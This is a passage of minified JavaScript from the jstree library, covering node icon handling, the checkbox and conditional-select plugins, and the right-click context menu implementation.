i=this.get_node(i),i&&i.id!==n.jstree.root?(u=i.icon,i.icon=r===!0||null===r||r===t||""===r?!0:r,f=this.get_node(i,!0).children(".jstree-anchor").children(".jstree-themeicon"),r===!1?(f.removeClass("jstree-themeicon-custom "+u).css("background","").removeAttr("rel"),this.hide_icon(i)):r===!0||null===r||r===t||""===r?(f.removeClass("jstree-themeicon-custom "+u).css("background","").removeAttr("rel"),u===!1&&this.show_icon(i)):-1===r.indexOf("/")&&-1===r.indexOf(".")?(f.removeClass(u).css("background",""),f.addClass(r+" jstree-themeicon-custom").attr("rel",r),u===!1&&this.show_icon(i)):(f.removeClass(u).css("background",""),f.addClass("jstree-themeicon-custom").css("background","url('"+r+"') center center no-repeat").attr("rel",r),u===!1&&this.show_icon(i)),!0):!1},get_icon:function(t){return t=this.get_node(t),t&&t.id!==n.jstree.root?t.icon:!1},hide_icon:function(t){var i,r;if(n.isArray(t)){for(t=t.slice(),i=0,r=t.length;r>i;i++)this.hide_icon(t[i]);return!0}return t=this.get_node(t),t&&t!==n.jstree.root?(t.icon=!1,this.get_node(t,!0).children(".jstree-anchor").children(".jstree-themeicon").addClass("jstree-themeicon-hidden"),!0):!1},show_icon:function(t){var i,u,r;if(n.isArray(t)){for(t=t.slice(),i=0,u=t.length;u>i;i++)this.show_icon(t[i]);return!0}return t=this.get_node(t),t&&t!==n.jstree.root?(r=this.get_node(t,!0),t.icon=r.length?r.children(".jstree-anchor").children(".jstree-themeicon").attr("rel"):!0,t.icon||(t.icon=!0),r.children(".jstree-anchor").children(".jstree-themeicon").removeClass("jstree-themeicon-hidden"),!0):!1}},n.vakata={},n.vakata.attributes=function(t,i){t=n(t)[0];var r=i?{}:[];return t&&t.attributes&&n.each(t.attributes,function(t,u){-1===n.inArray(u.name.toLowerCase(),["style","contenteditable","hasfocus","tabindex"])&&null!==u.value&&""!==n.trim(u.value)&&(i?r[u.name]=u.value:r.push(u.name))}),r},n.vakata.array_unique=function(n){for(var r=[],f={},i=0,u=n.length;u>i;i++)f[n[i]]===t&&(r.push(n[i]),f[n[i]]=!0);return r},n.vakata.array_remove=function(n,t){return n.splice(t,1),n},n.vakata.array_remove_item=function(t,i){var r=n.inArray(i,t);return-1!==r?n.vakata.array_remove(t,r):t},n.vakata.array_filter=function(n,t,i,r,u){if(n.filter)return n.filter(t,i);r=[];for(u in n)~~u+""==u+""&&u>=0&&t.call(i,n[u],+u,n)&&r.push(n[u]);return r},n.jstree.plugins.changed=function(n,t){var i=[];this.trigger=function(n,r){var u,f,e;if(r||(r={}),"changed"===n.replace(".jstree","")){for(r.changed={selected:[],deselected:[]},e={},u=0,f=i.length;f>u;u++)e[i[u]]=1;for(u=0,f=r.selected.length;f>u;u++)e[r.selected[u]]?e[r.selected[u]]=2:r.changed.selected.push(r.selected[u]);for(u=0,f=i.length;f>u;u++)1===e[i[u]]&&r.changed.deselected.push(i[u]);i=r.selected.slice()}t.trigger.call(this,n,r)};this.refresh=function(){return i=[],t.refresh.apply(this,arguments)}},h=i.createElement("I"),h.className="jstree-icon jstree-checkbox",h.setAttribute("role","presentation"),n.jstree.defaults.checkbox={visible:!0,three_state:!0,whole_node:!0,keep_selected_style:!0,cascade:"",tie_selection:!0,cascade_to_disabled:!0,cascade_to_hidden:!0},n.jstree.plugins.checkbox=function(i,r){this.bind=function(){r.bind.call(this);this._data.checkbox.uto=!1;this._data.checkbox.selected=[];this.settings.checkbox.three_state&&(this.settings.checkbox.cascade="up+down+undetermined");this.element.on("init.jstree",n.proxy(function(){this._data.checkbox.visible=this.settings.checkbox.visible;this.settings.checkbox.keep_selected_style||this.element.addClass("jstree-checkbox-no-clicked");this.settings.checkbox.tie_selection&&this.element.addClass("jstree-checkbox-selection")},this)).on("loading.jstree",n.proxy(function(){this[this._data.checkbox.visible?"show_checkboxes":"hide_checkboxes"]()},this));-1!==this.settings.checkbox.cascade.indexOf("undetermined")&&this.element.on("changed.jstree uncheck_node.jstree check_node.jstree uncheck_all.jstree check_all.jstree move_node.jstree copy_node.jstree redraw.jstree open_node.jstree",n.proxy(function(){this._data.checkbox.uto&&clearTimeout(this._data.checkbox.uto);this._data.checkbox.uto=setTimeout(n.proxy(this._undetermined,this),50)},this));this.settings.checkbox.tie_selection||this.element.on("model.jstree",n.proxy(function(n,t){for(var u=this._model.data,e=u[t.parent],r=t.nodes,i=0,f=r.length;f>i;i++)u[r[i]].state.checked=u[r[i]].state.checked||u[r[i]].original&&u[r[i]].original.state&&u[r[i]].original.state.checked,u[r[i]].state.checked&&this._data.checkbox.selected.push(r[i])},this));(-1!==this.settings.checkbox.cascade.indexOf("up")||-1!==this.settings.checkbox.cascade.indexOf("down"))&&this.element.on("model.jstree",n.proxy(function(t,i){var e=this._model.data,u=e[i.parent],s=i.nodes,c=[],v,r,o,h,l,a,y=this.settings.checkbox.cascade,f=this.settings.checkbox.tie_selection;if(-1!==y.indexOf("down"))if(u.state[f?"selected":"checked"]){for(r=0,o=s.length;o>r;r++)e[s[r]].state[f?"selected":"checked"]=!0;this._data[f?"core":"checkbox"].selected=this._data[f?"core":"checkbox"].selected.concat(s)}else for(r=0,o=s.length;o>r;r++)if(e[s[r]].state[f?"selected":"checked"]){for(h=0,l=e[s[r]].children_d.length;l>h;h++)e[e[s[r]].children_d[h]].state[f?"selected":"checked"]=!0;this._data[f?"core":"checkbox"].selected=this._data[f?"core":"checkbox"].selected.concat(e[s[r]].children_d)}if(-1!==y.indexOf("up")){for(r=0,o=u.children_d.length;o>r;r++)e[u.children_d[r]].children.length||c.push(e[u.children_d[r]].parent);for(c=n.vakata.array_unique(c),h=0,l=c.length;l>h;h++)for(u=e[c[h]];u&&u.id!==n.jstree.root;){for(v=0,r=0,o=u.children.length;o>r;r++)v+=e[u.children[r]].state[f?"selected":"checked"];if(v!==o)break;u.state[f?"selected":"checked"]=!0;this._data[f?"core":"checkbox"].selected.push(u.id);a=this.get_node(u,!0);a&&a.length&&a.attr("aria-selected",!0).children(".jstree-anchor").addClass(f?"jstree-clicked":"jstree-checked");u=this.get_node(u.parent)}}this._data[f?"core":"checkbox"].selected=n.vakata.array_unique(this._data[f?"core":"checkbox"].selected)},this)).on(this.settings.checkbox.tie_selection?"select_node.jstree":"check_node.jstree",n.proxy(function(t,i){for(var w=this,c=i.node,p=this._model.data,u=this.get_node(c.parent),a,l,v=this.settings.checkbox.cascade,o=this.settings.checkbox.tie_selection,e={},s=this._data[o?"core":"checkbox"].selected,y,h,r=0,f=s.length;f>r;r++)e[s[r]]=!0;if(-1!==v.indexOf("down"))for(y=this._cascade_new_checked_state(c.id,!0),h=c.children_d.concat(c.id),r=0,f=h.length;f>r;r++)y.indexOf(h[r])>-1?e[h[r]]=!0:delete e[h[r]];if(-1!==v.indexOf("up"))while(u&&u.id!==n.jstree.root){for(a=0,r=0,f=u.children.length;f>r;r++)a+=p[u.children[r]].state[o?"selected":"checked"];if(a!==f)break;u.state[o?"selected":"checked"]=!0;e[u.id]=!0;l=this.get_node(u,!0);l&&l.length&&l.attr("aria-selected",!0).children(".jstree-anchor").addClass(o?"jstree-clicked":"jstree-checked");u=this.get_node(u.parent)}s=[];for(r in e)e.hasOwnProperty(r)&&s.push(r);this._data[o?"core":"checkbox"].selected=s},this)).on(this.settings.checkbox.tie_selection?"deselect_all.jstree":"uncheck_all.jstree",n.proxy(function(){for(var r=this.get_node(n.jstree.root),f=this._model.data,t,i=0,u=r.children_d.length;u>i;i++)t=f[r.children_d[i]],t&&t.original&&t.original.state&&t.original.state.undetermined&&(t.original.state.undetermined=!1)},this)).on(this.settings.checkbox.tie_selection?"deselect_node.jstree":"uncheck_node.jstree",n.proxy(function(n,t){var l=this,r=t.node,a=this.get_node(r,!0),f,o,i,s=this.settings.checkbox.cascade,e=this.settings.checkbox.tie_selection,u=this._data[e?"core":"checkbox"].selected,c=r.children_d.concat(r.id),h;if(-1!==s.indexOf("down")&&(h=this._cascade_new_checked_state(r.id,!1),u=u.filter(function(n){return-1===c.indexOf(n)||h.indexOf(n)>-1})),-1!==s.indexOf("up")&&-1===u.indexOf(r.id)){for(f=0,o=r.parents.length;o>f;f++)i=this._model.data[r.parents[f]],i.state[e?"selected":"checked"]=!1,i&&i.original&&i.original.state&&i.original.state.undetermined&&(i.original.state.undetermined=!1),i=this.get_node(r.parents[f],!0),i&&i.length&&i.attr("aria-selected",!1).children(".jstree-anchor").removeClass(e?"jstree-clicked":"jstree-checked");u=u.filter(function(n){return-1===r.parents.indexOf(n)})}this._data[e?"core":"checkbox"].selected=u},this));-1!==this.settings.checkbox.cascade.indexOf("up")&&this.element.on("delete_node.jstree",n.proxy(function(t,i){for(var r=this.get_node(i.parent),h=this._model.data,f,e,s,o,u=this.settings.checkbox.tie_selection;r&&r.id!==n.jstree.root&&!r.state[u?"selected":"checked"];){for(s=0,f=0,e=r.children.length;e>f;f++)s+=h[r.children[f]].state[u?"selected":"checked"];if(!(e>0&&s===e))break;r.state[u?"selected":"checked"]=!0;this._data[u?"core":"checkbox"].selected.push(r.id);o=this.get_node(r,!0);o&&o.length&&o.attr("aria-selected",!0).children(".jstree-anchor").addClass(u?"jstree-clicked":"jstree-checked");r=this.get_node(r.parent)}},this)).on("move_node.jstree",n.proxy(function(t,i){var c=i.is_multi,l=i.old_parent,a=this.get_node(i.parent),h=this._model.data,r,s,e,o,f,u=this.settings.checkbox.tie_selection;if(!c)for(r=this.get_node(l);r&&r.id!==n.jstree.root&&!r.state[u?"selected":"checked"];){for(s=0,e=0,o=r.children.length;o>e;e++)s+=h[r.children[e]].state[u?"selected":"checked"];if(!(o>0&&s===o))break;r.state[u?"selected":"checked"]=!0;this._data[u?"core":"checkbox"].selected.push(r.id);f=this.get_node(r,!0);f&&f.length&&f.attr("aria-selected",!0).children(".jstree-anchor").addClass(u?"jstree-clicked":"jstree-checked");r=this.get_node(r.parent)}for(r=a;r&&r.id!==n.jstree.root;){for(s=0,e=0,o=r.children.length;o>e;e++)s+=h[r.children[e]].state[u?"selected":"checked"];if(s===o)r.state[u?"selected":"checked"]||(r.state[u?"selected":"checked"]=!0,this._data[u?"core":"checkbox"].selected.push(r.id),f=this.get_node(r,!0),f&&f.length&&f.attr("aria-selected",!0).children(".jstree-anchor").addClass(u?"jstree-clicked":"jstree-checked"));else{if(!r.state[u?"selected":"checked"])break;r.state[u?"selected":"checked"]=!1;this._data[u?"core":"checkbox"].selected=n.vakata.array_remove_item(this._data[u?"core":"checkbox"].selected,r.id);f=this.get_node(r,!0);f&&f.length&&f.attr("aria-selected",!1).children(".jstree-anchor").removeClass(u?"jstree-clicked":"jstree-checked")}r=this.get_node(r.parent)}},this))};this.get_undetermined=function(i){if(-1===this.settings.checkbox.cascade.indexOf("undetermined"))return[];for(var r,c,f={},e=this._model.data,l=this.settings.checkbox.tie_selection,s=this._data[l?"core":"checkbox"].selected,o=[],v=this,a=[],u=0,h=s.length;h>u;u++)if(e[s[u]]&&e[s[u]].parents)for(r=0,c=e[s[u]].parents.length;c>r;r++){if(f[e[s[u]].parents[r]]!==t)break;e[s[u]].parents[r]!==n.jstree.root&&(f[e[s[u]].parents[r]]=!0,o.push(e[s[u]].parents[r]))}for(this.element.find(".jstree-closed").not(":has(.jstree-children)").each(function(){var i=v.get_node(this),s;if(i)if(i.state.loaded){for(u=0,h=i.children_d.length;h>u;u++)if(s=e[i.children_d[u]],!s.state.loaded&&s.original&&s.original.state&&s.original.state.undetermined&&s.original.state.undetermined===!0)for(f[s.id]===t&&s.id!==n.jstree.root&&(f[s.id]=!0,o.push(s.id)),r=0,c=s.parents.length;c>r;r++)f[s.parents[r]]===t&&s.parents[r]!==n.jstree.root&&(f[s.parents[r]]=!0,o.push(s.parents[r]))}else if(i.original&&i.original.state&&i.original.state.undetermined&&i.original.state.undetermined===!0)for(f[i.id]===t&&i.id!==n.jstree.root&&(f[i.id]=!0,o.push(i.id)),r=0,c=i.parents.length;c>r;r++)f[i.parents[r]]===t&&i.parents[r]!==n.jstree.root&&(f[i.parents[r]]=!0,o.push(i.parents[r]))}),u=0,h=o.length;h>u;u++)e[o[u]].state[l?"selected":"checked"]||a.push(i?e[o[u]]:o[u]);return a};this._undetermined=function(){if(null!==this.element){var i=this.get_undetermined(!1),n,r,t;for(this.element.find(".jstree-undetermined").removeClass("jstree-undetermined"),n=0,r=i.length;r>n;n++)t=this.get_node(i[n],!0),t&&t.length&&t.children(".jstree-anchor").children(".jstree-checkbox").addClass("jstree-undetermined")}};this.redraw_node=function(t,i,u){if(t=r.redraw_node.apply(this,arguments)){for(var e=null,o=null,f=0,s=t.childNodes.length;s>f;f++)if(t.childNodes[f]&&t.childNodes[f].className&&-1!==t.childNodes[f].className.indexOf("jstree-anchor")){e=t.childNodes[f];break}e&&(!this.settings.checkbox.tie_selection&&this._model.data[t.id].state.checked&&(e.className+=" jstree-checked"),o=h.cloneNode(!1),this._model.data[t.id].state.checkbox_disabled&&(o.className+=" jstree-checkbox-disabled"),e.insertBefore(o,e.childNodes[0]))}return u||-1===this.settings.checkbox.cascade.indexOf("undetermined")||(this._data.checkbox.uto&&clearTimeout(this._data.checkbox.uto),this._data.checkbox.uto=setTimeout(n.proxy(this._undetermined,this),50)),t};this.show_checkboxes=function(){this._data.core.themes.checkboxes=!0;this.get_container_ul().removeClass("jstree-no-checkboxes")};this.hide_checkboxes=function(){this._data.core.themes.checkboxes=!1;this.get_container_ul().addClass("jstree-no-checkboxes")};this.toggle_checkboxes=function(){this._data.core.themes.checkboxes?this.hide_checkboxes():this.show_checkboxes()};this.is_undetermined=function(t){t=this.get_node(t);var r=this.settings.checkbox.cascade,i,u,f=this.settings.checkbox.tie_selection,o=this._data[f?"core":"checkbox"].selected,e=this._model.data;if(!t||t.state[f?"selected":"checked"]===!0||-1===r.indexOf("undetermined")||-1===r.indexOf("down")&&-1===r.indexOf("up"))return!1;if(!t.state.loaded&&t.original.state.undetermined===!0)return!0;for(i=0,u=t.children_d.length;u>i;i++)if(-1!==n.inArray(t.children_d[i],o)||!e[t.children_d[i]].state.loaded&&e[t.children_d[i]].original.state.undetermined)return!0;return!1};this.disable_checkbox=function(t){var i,u,r;if(n.isArray(t)){for(t=t.slice(),i=0,u=t.length;u>i;i++)this.disable_checkbox(t[i]);return!0}return t=this.get_node(t),t&&t.id!==n.jstree.root?(r=this.get_node(t,!0),void(t.state.checkbox_disabled||(t.state.checkbox_disabled=!0,r&&r.length&&r.children(".jstree-anchor").children(".jstree-checkbox").addClass("jstree-checkbox-disabled"),this.trigger("disable_checkbox",{node:t})))):!1};this.enable_checkbox=function(t){var i,u,r;if(n.isArray(t)){for(t=t.slice(),i=0,u=t.length;u>i;i++)this.enable_checkbox(t[i]);return!0}return t=this.get_node(t),t&&t.id!==n.jstree.root?(r=this.get_node(t,!0),void(t.state.checkbox_disabled&&(t.state.checkbox_disabled=!1,r&&r.length&&r.children(".jstree-anchor").children(".jstree-checkbox").removeClass("jstree-checkbox-disabled"),this.trigger("enable_checkbox",{node:t})))):!1};this.activate_node=function(t,i){return n(i.target).hasClass("jstree-checkbox-disabled")?!1:(this.settings.checkbox.tie_selection&&(this.settings.checkbox.whole_node||n(i.target).hasClass("jstree-checkbox"))&&(i.ctrlKey=!0),this.settings.checkbox.tie_selection||!this.settings.checkbox.whole_node&&!n(i.target).hasClass("jstree-checkbox")?r.activate_node.call(this,t,i):this.is_disabled(t)?!1:(this.is_checked(t)?this.uncheck_node(t,i):this.check_node(t,i),void this.trigger("activate_node",{node:this.get_node(t)})))};this._cascade_new_checked_state=function(n,t){var l=this,r=this.settings.checkbox.tie_selection,i=this._model.data[n],u=[],e=[],o,a,f,s,h,c;if(!this.settings.checkbox.cascade_to_disabled&&i.state.disabled||!this.settings.checkbox.cascade_to_hidden&&i.state.hidden)f=this.get_checked_descendants(n),i.state[r?"selected":"checked"]&&f.push(i.id),u=u.concat(f);else{if(i.children)for(o=0,a=i.children.length;a>o;o++)s=i.children[o],f=l._cascade_new_checked_state(s,t),u=u.concat(f),f.indexOf(s)>-1&&e.push(s);h=l.get_node(i,!0);c=e.length>0&&e.length<i.children.length;i.original&&i.original.state&&i.original.state.undetermined&&(i.original.state.undetermined=c);c?(i.state[r?"selected":"checked"]=!1,h.attr("aria-selected",!1).children(".jstree-anchor").removeClass(r?"jstree-clicked":"jstree-checked")):t&&e.length===i.children.length?(i.state[r?"selected":"checked"]=t,u.push(i.id),h.attr("aria-selected",!0).children(".jstree-anchor").addClass(r?"jstree-clicked":"jstree-checked")):(i.state[r?"selected":"checked"]=!1,h.attr("aria-selected",!1).children(".jstree-anchor").removeClass(r?"jstree-clicked":"jstree-checked"))}return u};this.get_checked_descendants=function(n){var t=this,i=t.settings.checkbox.tie_selection,r=t._model.data[n];return r.children_d.filter(function(n){return t._model.data[n].state[i?"selected":"checked"]})};this.check_node=function(t,i){if(this.settings.checkbox.tie_selection)return this.select_node(t,!1,!0,i);var r,u,f;if(n.isArray(t)){for(t=t.slice(),u=0,f=t.length;f>u;u++)this.check_node(t[u],i);return!0}return t=this.get_node(t),t&&t.id!==n.jstree.root?(r=this.get_node(t,!0),void(t.state.checked||(t.state.checked=!0,this._data.checkbox.selected.push(t.id),r&&r.length&&r.children(".jstree-anchor").addClass("jstree-checked"),this.trigger("check_node",{node:t,selected:this._data.checkbox.selected,event:i})))):!1};this.uncheck_node=function(t,i){if(this.settings.checkbox.tie_selection)return this.deselect_node(t,!1,i);var r,f,u;if(n.isArray(t)){for(t=t.slice(),r=0,f=t.length;f>r;r++)this.uncheck_node(t[r],i);return!0}return t=this.get_node(t),t&&t.id!==n.jstree.root?(u=this.get_node(t,!0),void(t.state.checked&&(t.state.checked=!1,this._data.checkbox.selected=n.vakata.array_remove_item(this._data.checkbox.selected,t.id),u.length&&u.children(".jstree-anchor").removeClass("jstree-checked"),this.trigger("uncheck_node",{node:t,selected:this._data.checkbox.selected,event:i})))):!1};this.check_all=function(){if(this.settings.checkbox.tie_selection)return this.select_all();var r=this._data.checkbox.selected.concat([]),t,i;for(this._data.checkbox.selected=this._model.data[n.jstree.root].children_d.concat(),t=0,i=this._data.checkbox.selected.length;i>t;t++)this._model.data[this._data.checkbox.selected[t]]&&(this._model.data[this._data.checkbox.selected[t]].state.checked=!0);this.redraw(!0);this.trigger("check_all",{selected:this._data.checkbox.selected})};this.uncheck_all=function(){if(this.settings.checkbox.tie_selection)return this.deselect_all();for(var i=this._data.checkbox.selected.concat([]),n=0,t=this._data.checkbox.selected.length;t>n;n++)this._model.data[this._data.checkbox.selected[n]]&&(this._model.data[this._data.checkbox.selected[n]].state.checked=!1);this._data.checkbox.selected=[];this.element.find(".jstree-checked").removeClass("jstree-checked");this.trigger("uncheck_all",{selected:this._data.checkbox.selected,node:i})};this.is_checked=function(t){return this.settings.checkbox.tie_selection?this.is_selected(t):(t=this.get_node(t),t&&t.id!==n.jstree.root?t.state.checked:!1)};this.get_checked=function(t){return this.settings.checkbox.tie_selection?this.get_selected(t):t?n.map(this._data.checkbox.selected,n.proxy(function(n){return this.get_node(n)},this)):this._data.checkbox.selected};this.get_top_checked=function(t){if(this.settings.checkbox.tie_selection)return this.get_top_selected(t);for(var r=this.get_checked(!0),u={},f,o,i=0,e=r.length;e>i;i++)u[r[i].id]=r[i];for(i=0,e=r.length;e>i;i++)for(f=0,o=r[i].children_d.length;o>f;f++)u[r[i].children_d[f]]&&delete u[r[i].children_d[f]];r=[];for(i in u)u.hasOwnProperty(i)&&r.push(i);return t?n.map(r,n.proxy(function(n){return this.get_node(n)},this)):r};this.get_bottom_checked=function(t){if(this.settings.checkbox.tie_selection)return this.get_bottom_selected(t);for(var r=this.get_checked(!0),u=[],i=0,f=r.length;f>i;i++)r[i].children.length||u.push(r[i].id);return t?n.map(u,n.proxy(function(n){return this.get_node(n)},this)):u};this.load_node=function(t){var u,f,e,i;if(!n.isArray(t)&&!this.settings.checkbox.tie_selection&&(i=this.get_node(t),i&&i.state.loaded))for(u=0,f=i.children_d.length;f>u;u++)this._model.data[i.children_d[u]].state.checked&&(e=!0,this._data.checkbox.selected=n.vakata.array_remove_item(this._data.checkbox.selected,i.children_d[u]));return r.load_node.apply(this,arguments)};this.get_state=function(){var n=r.get_state.apply(this,arguments);return this.settings.checkbox.tie_selection?n:(n.checkbox=this._data.checkbox.selected.slice(),n)};this.set_state=function(t,i){var u=r.set_state.apply(this,arguments),f;return u&&t.checkbox?(this.settings.checkbox.tie_selection||(this.uncheck_all(),f=this,n.each(t.checkbox,function(n,t){f.check_node(t)})),delete t.checkbox,this.set_state(t,i),!1):u};this.refresh=function(){return this.settings.checkbox.tie_selection&&(this._data.checkbox.selected=[]),r.refresh.apply(this,arguments)}},n.jstree.defaults.conditionalselect=function(){return!0},n.jstree.plugins.conditionalselect=function(n,t){this.activate_node=function(n,i){if(this.settings.conditionalselect.call(this,this.get_node(n),i))return t.activate_node.call(this,n,i)}},n.jstree.defaults.contextmenu={select_node:!0,show_at_node:!0,items:function(){return{create:{separator_before:!1,separator_after:!0,_disabled:!1,label:"Create",action:function(t){var i=n.jstree.reference(t.reference),r=i.get_node(t.reference);i.create_node(r,{},"last",function(n){try{i.edit(n)}catch(t){setTimeout(function(){i.edit(n)},0)}})}},rename:{separator_before:!1,separator_after:!1,_disabled:!1,label:"Rename",action:function(t){var i=n.jstree.reference(t.reference),r=i.get_node(t.reference);i.edit(r)}},remove:{separator_before:!1,icon:!1,separator_after:!1,_disabled:!1,label:"Delete",action:function(t){var i=n.jstree.reference(t.reference),r=i.get_node(t.reference);i.is_selected(r)?i.delete_node(i.get_selected()):i.delete_node(r)}},ccp:{separator_before:!0,icon:!1,separator_after:!1,label:"Edit",action:!1,submenu:{cut:{separator_before:!1,separator_after:!1,label:"Cut",action:function(t){var i=n.jstree.reference(t.reference),r=i.get_node(t.reference);i.is_selected(r)?i.cut(i.get_top_selected()):i.cut(r)}},copy:{separator_before:!1,icon:!1,separator_after:!1,label:"Copy",action:function(t){var i=n.jstree.reference(t.reference),r=i.get_node(t.reference);i.is_selected(r)?i.copy(i.get_top_selected()):i.copy(r)}},paste:{separator_before:!1,icon:!1,_disabled:function(t){return!n.jstree.reference(t.reference).can_paste()},separator_after:!1,label:"Paste",action:function(t){var i=n.jstree.reference(t.reference),r=i.get_node(t.reference);i.paste(r)}}}}}}},n.jstree.plugins.contextmenu=function(r,u){this.bind=function(){u.bind.call(this);var r=0,t=null,f,e;this.element.on("init.jstree loading.jstree ready.jstree",n.proxy(function(){this.get_container_ul().addClass("jstree-contextmenu")},this)).on("contextmenu.jstree",".jstree-anchor",n.proxy(function(n,i){"input"!==n.target.tagName.toLowerCase()&&(n.preventDefault(),r=n.ctrlKey?+new Date:0,(i||t)&&(r=+new Date+1e4),t&&clearTimeout(t),this.is_loading(n.currentTarget)||this.show_contextmenu(n.currentTarget,n.pageX,n.pageY,n))},this)).on("click.jstree",".jstree-anchor",n.proxy(function(){this._data.contextmenu.visible&&(!r||+new Date-r>250)&&n.vakata.context.hide();r=0},this)).on("touchstart.jstree",".jstree-anchor",function(i){i.originalEvent&&i.originalEvent.changedTouches&&i.originalEvent.changedTouches[0]&&(f=i.originalEvent.changedTouches[0].clientX,e=i.originalEvent.changedTouches[0].clientY,t=setTimeout(function(){n(i.currentTarget).trigger("contextmenu",!0)},750))}).on("touchmove.vakata.jstree",function(i){t&&i.originalEvent&&i.originalEvent.changedTouches&&i.originalEvent.changedTouches[0]&&(Math.abs(f-i.originalEvent.changedTouches[0].clientX)>10||Math.abs(e-i.originalEvent.changedTouches[0].clientY)>10)&&(clearTimeout(t),n.vakata.context.hide())}).on("touchend.vakata.jstree",function(){t&&clearTimeout(t)});n(i).on("context_hide.vakata.jstree",n.proxy(function(t,i){this._data.contextmenu.visible=!1;n(i.reference).removeClass("jstree-context")},this))};this.teardown=function(){this._data.contextmenu.visible&&n.vakata.context.hide();u.teardown.call(this)};this.show_contextmenu=function(i,r,u,f){if(i=this.get_node(i),!i||i.id===n.jstree.root)return!1;var s=this.settings.contextmenu,h=this.get_node(i,!0),c=h.children(".jstree-anchor"),o=!1,e=!1;(s.show_at_node||r===t||u===t)&&(o=c.offset(),r=o.left,u=o.top+this._data.core.li_height);this.settings.contextmenu.select_node&&!this.is_selected(i)&&this.activate_node(i,f);e=s.items;n.isFunction(e)&&(e=e.call(this,i,n.proxy(function(n){this._show_contextmenu(i,r,u,n)},this)));n.isPlainObject(e)&&this._show_contextmenu(i,r,u,e)};this._show_contextmenu=function(t,r,u,f){var o=this.get_node(t,!0),e=o.children(".jstree-anchor");n(i).one("context_show.vakata.jstree",n.proxy(function(t,i){var r="jstree-contextmenu jstree-"+this.get_theme()+"-contextmenu";n(i.element).addClass(r);e.addClass("jstree-context")},this));this._data.contextmenu.visible=!0;n.vakata.context.show(e,{x:r,y:u},f);this.trigger("show_contextmenu",{node:t,x:r,y:u})}},function(n){var r=!1,t={element:!1,reference:!1,position_x:0,position_y:0,items:[],html:"",is_visible:!1};n.vakata.context={settings:{hide_onmouseleave:0,icons:!0},_trigger:function(r){n(i).triggerHandler("context_"+r+".vakata",{reference:t.reference,element:t.element,position:{x:t.position_x,y:t.position_y}})},_execute:function(i){return i=t.items[i],i&&(!i._disabled||n.isFunction(i._disabled)&&!i._disabled({item:i,reference:t.reference,element:t.element}))&&i.action?i.action.call(null,{item:i,reference:t.reference,element:t.element,position:{x:t.position_x,y:t.position_y}}):!1},_parse:function(i,r){if(!i)return!1;r||(t.html="",t.items=[]);var u="",f=!1,e;return r&&(u+="<ul>"),n.each(i,function(i,r){return r?(t.items.push(r),!f&&r.separator_before&&(u+="<li class='vakata-context-separator'><a href='#' "+(n.vakata.context.settings.icons?"":'style="margin-left:0px;"')+">&#160;<\/a><\/li>"),f=!1,u+="<li class='"+(r._class||"")+(r._disabled===!0||n.isFunction(r._disabled)&&r._disabled({item:r,reference:t.reference,element:t.element})?" vakata-contextmenu-disabled ":"")+"' "+(r.shortcut?" data-shortcut='"+r.shortcut+"' ":"")+">",u+="<a href='#' rel='"+(t.items.length-1)+"' "+(r.title?"title='"+r.title+"'":"")+">",n.vakata.context.settings.icons&&(u+="<i ",r.icon&&(u+=-1!==r.icon.indexOf("/")||-1!==r.icon.indexOf(".")?" style='background:url(\""+r.icon+"\") center center no-repeat' ":" class='"+r.icon+"' "),u+="><\/i><span class='vakata-contextmenu-sep'>&#160;<\/span>"),u+=(n.isFunction(r.label)?r.label({item:i,reference:t.reference,element:t.element}):r.label)+(r.shortcut?' <span class="vakata-contextmenu-shortcut vakata-contextmenu-shortcut-'+r.shortcut+'">'+(r.shortcut_label||"")+"<\/span>":"")+"<\/a>",r.submenu&&(e=n.vakata.context._parse(r.submenu,!0),e&&(u+=e)),u+="<\/li>",void(r.separator_after&&(u+="<li class='vakata-context-separator'><a href='#' "+(n.vakata.context.settings.icons?"":'style="margin-left:0px;"')+">&#160;<\/a><\/li>",f=!0))):!0}),u=u.replace(/<li class\='vakata-context-separator'\><\/li\>$/,""),r&&(u+="<\/ul>"),r||(t.html=u,n.vakata.context._trigger("parse")),u.length>10?u:!1},_show_submenu:function(t){if(t=n(t),t.length&&t.children("ul").length){var i=t.children("ul"),e=t.offset().left,f=e+t.outerWidth(),s=t.offset().top,u=i.width(),h=i.height(),o=n(window).width()+n(window).scrollLeft(),c=n(window).height()+n(window).scrollTop();r?t[f-(u+10+t.outerWidth())<0?"addClass":"removeClass"]("vakata-context-left"):t[f+u>o&&e>o-f?"addClass":"removeClass"]("vakata-context-right");s+h+10>c&&i.css("bottom","-1px");t.hasClass("vakata-context-right")?u>e&&i.css("margin-right",e-u):u>o-f&&i.css("margin-left",o-f-u);i.show()}},show:function(u,f,e){var c,s,o,h,l,a,v,y;switch(t.element&&t.element.length&&t.element.width(""),!0){case!f&&!u:return!1;case!!f&&!!u:t.reference=u;t.position_x=f.x;t.position_y=f.y;break;case!f&&!!u:t.reference=u;c=u.offset();t.position_x=c.left+u.outerHeight();t.position_y=c.top;break;case!!f&&!u:t.position_x=f.x;t.position_y=f.y}u&&!e&&n(u).data("vakata_contextmenu")&&(e=n(u).data("vakata_contextmenu"));n.vakata.context._parse(e)&&t.element.html(t.html);t.items.length&&(t.element.appendTo(i.body),s=t.element,o=t.position_x,h=t.position_y,l=s.width(),a=s.height(),v=n(window).width()+n(window).scrollLeft(),y=n(window).height()+n(window).scrollTop(),r&&(o-=s.outerWidth()-n(u).outerWidth(),o<n(window).scrollLeft()+20&&(o=n(window).scrollLeft()+20)),o+l+20>v&&(o=v-(l+20)),h+a+20>y&&(h=y-(a+20)),t.element.css({left:o,top:h}).show().find("a").first().focus().parent().addClass("vakata-context-hover"),t.is_visible=!0,n.vakata.context._trigger("show"))},hide:function(){t.is_visible&&(t.element.hide().find("ul").hide().end().find(":focus").blur().end().detach(),t.is_visible=!1,n.vakata.context._trigger("hide"))}};n(function(){r="rtl"===n(i.body).css("direction");var u=!1;t.element=n("<ul class='vakata-context'><\/ul>");t.element.on("mouseenter","li",function(i){i.stopImmediatePropagation();n.contains(this,i.relatedTarget)||(u&&clearTimeout(u),t.element.find(".vakata-context-hover").removeClass("vakata-context-hover").end(),n(this).siblings().find("ul").hide().end().end().parentsUntil(".vakata-context","li").addBack().addClass("vakata-context-hover"),n.vakata.context._show_submenu(this))}).on("mouseleave","li",function(t){n.contains(this,t.relatedTarget)||n(this).find(".vakata-context-hover").addBack().removeClass("vakata-context-hover")}).on("mouseleave",function(){n(this).find(".vakata-context-hover").removeClass("vakata-context-hover");n.vakata.context.settings.hide_onmouseleave&&(u=setTimeout(function(){return 